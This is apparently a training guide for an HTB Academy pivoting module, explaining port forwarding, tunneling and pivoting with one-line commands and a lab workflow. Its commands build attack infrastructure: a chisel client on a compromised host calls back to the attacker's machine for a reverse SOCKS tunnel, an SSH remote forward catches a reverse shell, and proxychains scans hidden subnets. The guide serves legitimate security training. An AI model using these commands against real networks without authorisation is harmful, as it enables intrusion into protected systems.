01 Port forwarding vs tunneling vs pivoting
Three words that get used interchangeably and mean different things. Getting them straight is most of the battle, and it is exactly what the HTB Academy module "Pivoting, Tunneling, and Port Forwarding" and its skills assessment test.
- Port forwarding moves one specific port from A to B. A single door.
- Tunneling wraps that traffic inside another protocol, usually SSH, so it crosses a boundary or hides in plain sight.
- Pivoting is the goal: using a machine you have already compromised as a stepping stone to reach a network you could not touch directly.
The reason you need any of this is the dual-homed host: a compromised box with a second network card into a subnet your attacking machine cannot route to. Your job is to borrow that box's access.
Read this to understand the techniques, then work them on the free two-network interactive pivoting lab, which walks a real foothold-then-pivot chain across three machines. Theory plus one honest lab beats ten walkthroughs you only read.
This page teaches the techniques the assessment expects you to apply; it is not a copy-paste answer key. HTB's value is that you solve it yourself. Use the method and cheat sheet below, then reason through your own target.
02 The eight techniques, one command each
Eight techniques cover essentially every pivot you will meet. Each is one command once you understand what it does.
| Technique | Tool | When you reach for it |
|---|---|---|
| Local port forward | ssh -L | Pull one port from the far side back to your machine. |
| Remote port forward | ssh -R | Push a listener from the target back to you, when it can reach you but you cannot reach it. |
| Dynamic forward (SOCKS) | ssh -D + proxychains | Route many tools into a whole subnet through one proxy. |
| Relay | socat | Forward a port when you have a shell but no SSH, on Linux. |
| Reverse SOCKS over HTTP | chisel | Pivot when only outbound web traffic is allowed, or through a firewall. |
| Tunnel appliance | ligolo-ng | A clean userland interface to the target subnet, no proxychains needed. |
| Transparent VPN-like pivot | sshuttle | Route a subnet over SSH without touching proxychains at all. |
| Windows port proxy | netsh / plink.exe | The same moves when your pivot is Windows, not Linux. |
ssh -L 8080:10.0.0.5:80 user@pivot # now browse http://127.0.0.1:8080 -> reaches 10.0.0.5:80 through the pivot
ssh -R 4444:127.0.0.1:4444 user@pivot # a callback to pivot:4444 lands on your local 4444 (catch a reverse shell)
ssh -D 1080 user@pivot # add to /etc/proxychains4.conf: socks5 127.0.0.1 1080 proxychains nmap -sT -Pn 10.0.0.5 proxychains firefox http://10.0.0.5
socat TCP-LISTEN:8080,fork,reuseaddr TCP:10.0.0.5:80 & # anything hitting pivot:8080 is forwarded to 10.0.0.5:80
# on your attacking machine ./chisel server -p 8000 --reverse # on the compromised host (outbound only) ./chisel client 10.10.14.1:8000 R:socks # then proxychains through 127.0.0.1:1080 as usual
netsh interface portproxy add v4tov4 listenport=8080 connectaddress=10.0.0.5 connectport=80 plink.exe -R 4444:127.0.0.1:4444 [email protected]
03 A worked pivot on a free lab
Reading commands teaches you nothing until you run them against something that pushes back. The interactive pivoting lab gives you a free VulnHub setup: two host-only networks, three machines, and a route you have to build yourself. The pattern it drills is the one every pivot follows:
- Foothold. Compromise the dual-homed host on the network you can reach.
- Discover. Find its second interface and the subnet behind it (
ip a,arp -a, a ping sweep). - Build the pivot. Stand up a forward, a SOCKS proxy or a relay through the foothold.
- Reach and exploit. Run your tools through the pivot against the hidden machine.
- Repeat. Each new host may open another network. The technique does not change, only the depth.
Do that once by hand and the HTB module stops being abstract.
04 How to approach the skills assessment
When you sit the skills assessment, work it like a real engagement, not a quiz:
- Map before you tunnel. Enumerate every interface and route on each host you own. You cannot pivot to a network you have not found.
- Pick the simplest tool that works. If a single
-Lreaches the target, do not build a SOCKS chain. Complexity is where mistakes hide. - Match the tool to the constraint. Outbound-only host, use chisel. No SSH, use socat. Windows box, use netsh or plink. The constraint chooses the technique.
- Keep a route diagram. Two hops in, it is easy to lose track of which port on which host maps where. Write it down.
- Verify each hop before you move on: can you actually reach the next machine through the tunnel you just built?
Stuck is the point of the exercise. Re-check your route table, confirm the proxy is listening, and test connectivity one hop at a time. If you want a practitioner to review your approach and unstick you, that is exactly what the 1:1 mentorship is for.
05 SSH forwarding cheat sheet
The one table worth memorising. Everything else is a variation on these three.
| Flag | Name | Direction | Example |
|---|---|---|---|
-L | Local forward | Your machine → a destination reachable from the far end | ssh -L 8080:neuro:80 user@pivot |
-R | Remote forward | Far end → back to something on your machine | ssh -R 4444:127.0.0.1:4444 user@pivot |
-D | Dynamic forward | Whole connection becomes a SOCKS proxy | ssh -D 1080 user@pivot |
For the full command set, the interactive lab has a click-to-explain cheat sheet covering socat, chisel and the tunneling variants.
06 Pivoting FAQ
What is the difference between port forwarding, tunneling and pivoting?
Port forwarding moves a single port from one host to another. Tunneling wraps that traffic inside another protocol, usually SSH, to cross a boundary. Pivoting is the objective: using a compromised host to reach a network you cannot route to directly. You use forwarding and tunneling to achieve a pivot.
How do I set up a SOCKS proxy for pivoting?
Run ssh -D 1080 user@pivot to open a dynamic forward, add socks5 127.0.0.1 1080 to /etc/proxychains4.conf, then prefix your tools with proxychains, for example proxychains nmap -sT -Pn 10.0.0.5. When you only have outbound web access, use chisel in reverse-SOCKS mode instead.
What tools does the HTB pivoting module cover?
The core set is SSH local, remote and dynamic forwarding, socat relays, proxychains, chisel, sshuttle and ligolo-ng on Linux, and netsh portproxy plus plink on Windows. This guide walks through each with a working command.
Can I practise pivoting for free?
Yes. The interactive pivoting lab uses a free two-network VulnHub setup and walks a full foothold-then-pivot chain across three machines, so you build a real route by hand rather than only reading commands.
Why use chisel instead of SSH for a pivot?
When the compromised host has no SSH server, or the firewall only allows outbound HTTP, SSH forwarding will not connect. Chisel tunnels a SOCKS proxy over an HTTP connection the host initiates outbound to you, which slips through those constraints.
Is this a walkthrough with the skills assessment answers?
No. It teaches the techniques the assessment expects you to apply and gives you a method and cheat sheet, but not copy-paste answers. Working the target yourself is the entire point, and it is what makes the skill transfer to real engagements.